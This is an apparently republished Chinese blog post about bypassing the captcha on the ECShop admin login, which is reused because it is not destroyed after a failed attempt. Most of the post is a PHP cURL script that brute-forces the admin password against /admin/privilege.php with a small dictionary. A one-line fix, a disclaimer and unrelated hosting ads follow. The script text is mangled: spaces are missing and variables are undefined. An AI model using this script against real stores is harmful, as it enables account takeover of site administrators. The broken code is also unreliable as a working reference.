ecshop绕过验证码暴力破解

摘要:
如果验证码不匹配,则当前验证码尚未销毁,因此您可以请求一次验证码图像,并在不刷新验证码的情况下一直使用它。1.获取正确的验证码?php$site='http://ecsh

ecshop绕过验证码暴力破解第1张

ecshop绕过验证码暴力破解第2张

若验证码不匹配,并没有销毁当前验证码
 
所以就可以一次请求验证码图片后,只要不再刷新验证码就可以一直使用 


1.获取正确的验证码
 
2.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
$admin_path='/admin/privilege.php';
$captcha='上一步获取的验证码';
$referer=$site;
functiongetH($url,$postdata=array()){
global$ch,$referer;
$options= array( CURLOPT_URL =>   $url,
                   CURLOPT_HEADER => false,
CURLOPT_TIMEOUT=> 0.11,
//CURLOPT_FILE=>$f,
CURLOPT_RETURNTRANSFER=>true,
                      CURLOPT_REFERER=>$referer,
 //CURLOPT_POST=>1,
CURLOPT_HTTPHEADER=>array('Content-Type: application/x-www-form-urlencoded; charset=iso-8859-1','Expect:'),
CURLOPT_USERAGENT=>'ie'
                );
           
if(!empty($postdata)){
$options[CURLOPT_POSTFIELDS]=http_build_query($postdata);
}
$ret= curl_setopt_array($ch,$options);
//$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//返回一个字符串,而不是直接输出到浏览器
  $ret= curl_exec($ch);
 
    $info= curl_getinfo($ch);
 
    if(empty($info['http_code'])) {
        die("No HTTP code was returned");
    } elseif($info['http_code']==200) {//响应码为200
        return$ret;
 
 
    }else{
        #var_dump($info);  
        echo'<br />';
        echo('响应码:'.$info['http_code']);//
        echo'<br />';
        echo$postdata['username'].'  ---'.$postdata['password'];
        echo'<br />';
    }
 
 
}
 
$url=$site.$admin_path;
$data=array(
    'username'=>'admin',
    'password'=>'123456ad',
    'captcha'=>$captcha,
    'act'=>'signin'
    );
//词典
$passwds=array('1','2','3','123456a','123456','123456ds');
foreach($passwdsas$p){
    $data['password']=$p;
    $res= strip_tags(getH($url,$data));
    if(stripos($res,'您输入的帐号信息不正确')){
        echo'no';
    }
    echo'<br>------------------------<br>';
}

ecshop绕过验证码暴力破解第3张

修复方案:

验证识别后销毁session中的验证码 

免责声明:文章转载自《ecshop绕过验证码暴力破解》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇python之读取文件的MD5码并重命名文件Android开始之dialog警告框,单选/多选框/自定义对话框下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

利用burpsuits暴力破解登陆界面

burpsuits暴力破解登陆界面 打开我们的Burpsuits工具 设置代理(工具) 一定要注意:代理的地址和浏览器的地址需要一样 设置代理(浏览器) 这里用火狐举例,如果是谷歌其实也是一样,代理开启--手动代理。 抓取流量 查看是否代理成功,页面无法正确访问。并且burpsuite会一直闪烁。 分析流量 在bruosuits中可以看到...

EcShop二次开发系列教程–总纲

      EcShop作为老牌的B2C独立网店系统,功能非常全名,强大的文件、数据库缓存机制,保证前后台系统执行速度更快、系统平稳运行。但是过多的功能也或多或少的会影响到系统的整个效率,所有在使用EcShop搭建自己的独立网店的是时候根据自己的实际需求去掉不必要的功能是非常要必要的,另外还要添加一些适合自己的功能。     虽然网上已经有很多的EcSho...

sshd服务防止暴力破解

防止暴力破解的方法有三种: 方法一、 配置安全的sshd服务 1: 密码足够的复杂,密码的长度要大于8位最好大于20位。密码的复杂度是密码要尽可能有数字、大小写字母和特殊符号混合组成 2:修改默认端口号 3 :不允许root账号直接登陆,添加普通账号,授予root的权限 互动:是否可以禁止root身份登录? 不行,因为有些程序需要使用root身份...

ecshop在PHP 5.4以上版本各种错误问题处理

在php5.4版本之后有很多的函数与功能进行丢弃与升级功能了,现在国内很多CMS都还未按php5.4标准来做了,下面我整理了一些在ecshop在PHP 5.4以上版本各种错误问题处理. 1、PHP 5.4.X环境下安装ECShop出现&ldquo;includes/cls_template.php on line 406&rdquo;的解决...

ecshop 二次开发 函数列表大全

最近进行ecshop的二次开发,整理了一部分的函数,另外在ecshop论坛上面也发现了很多函数说明,整理汇总如下,供大家参考。 所有函数功能说明: lib_time.phpgmtime() P: 获得当前格林威治时间的时间戳 /$0server_timezone() P: 获得服务器的时区 /$0local_mktime($hour = NULL , $mi...

ecshop二次开发 给商品添加自定义字段【包含我自己进一步的开发实例详解】

本文包含商品自定义添加教程及进一步的开发实例: 教程: 说起自定义字段,我想很多的朋友像我一样会想起一些开源的CMS(比如Dedecms、Phpcms、帝国)等,他们是可以在后台直接添加自定义字段的。 抱着这种想法我在Ecshop的后台一顿找,不过肿么都木有找到,木有办法,只能自己动手了。 第一步:进入数据库添加所需要的字段。 第二步:找到goods_i...